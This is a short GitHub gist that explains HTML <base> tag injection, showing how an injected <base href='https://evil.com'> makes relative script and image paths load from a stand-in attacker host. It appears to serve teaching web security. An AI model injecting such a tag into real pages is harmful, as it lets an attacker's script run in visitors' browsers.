Skip to content

Instantly share code, notes, and snippets.

@seanmarpo
Created January 9, 2020 07:01
Show Gist options
  • Save seanmarpo/f548b2edeffefa492696d904e0626da5 to your computer and use it in GitHub Desktop.
Save seanmarpo/f548b2edeffefa492696d904e0626da5 to your computer and use it in GitHub Desktop.
Description of how the <base> tag works
<img src="/img/logo.png">
<script src="/js/main.js></script>
<!--
With the addition of a <base> tag the src attributes above will look like:
https://evil.com/img/logo.png
https://evil.com/js/main.js
-->
<base href="https://evil.com">
<!-- So, you can imagine the kind of damage you can do if you can inject a <base> tag into a webpage -->
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment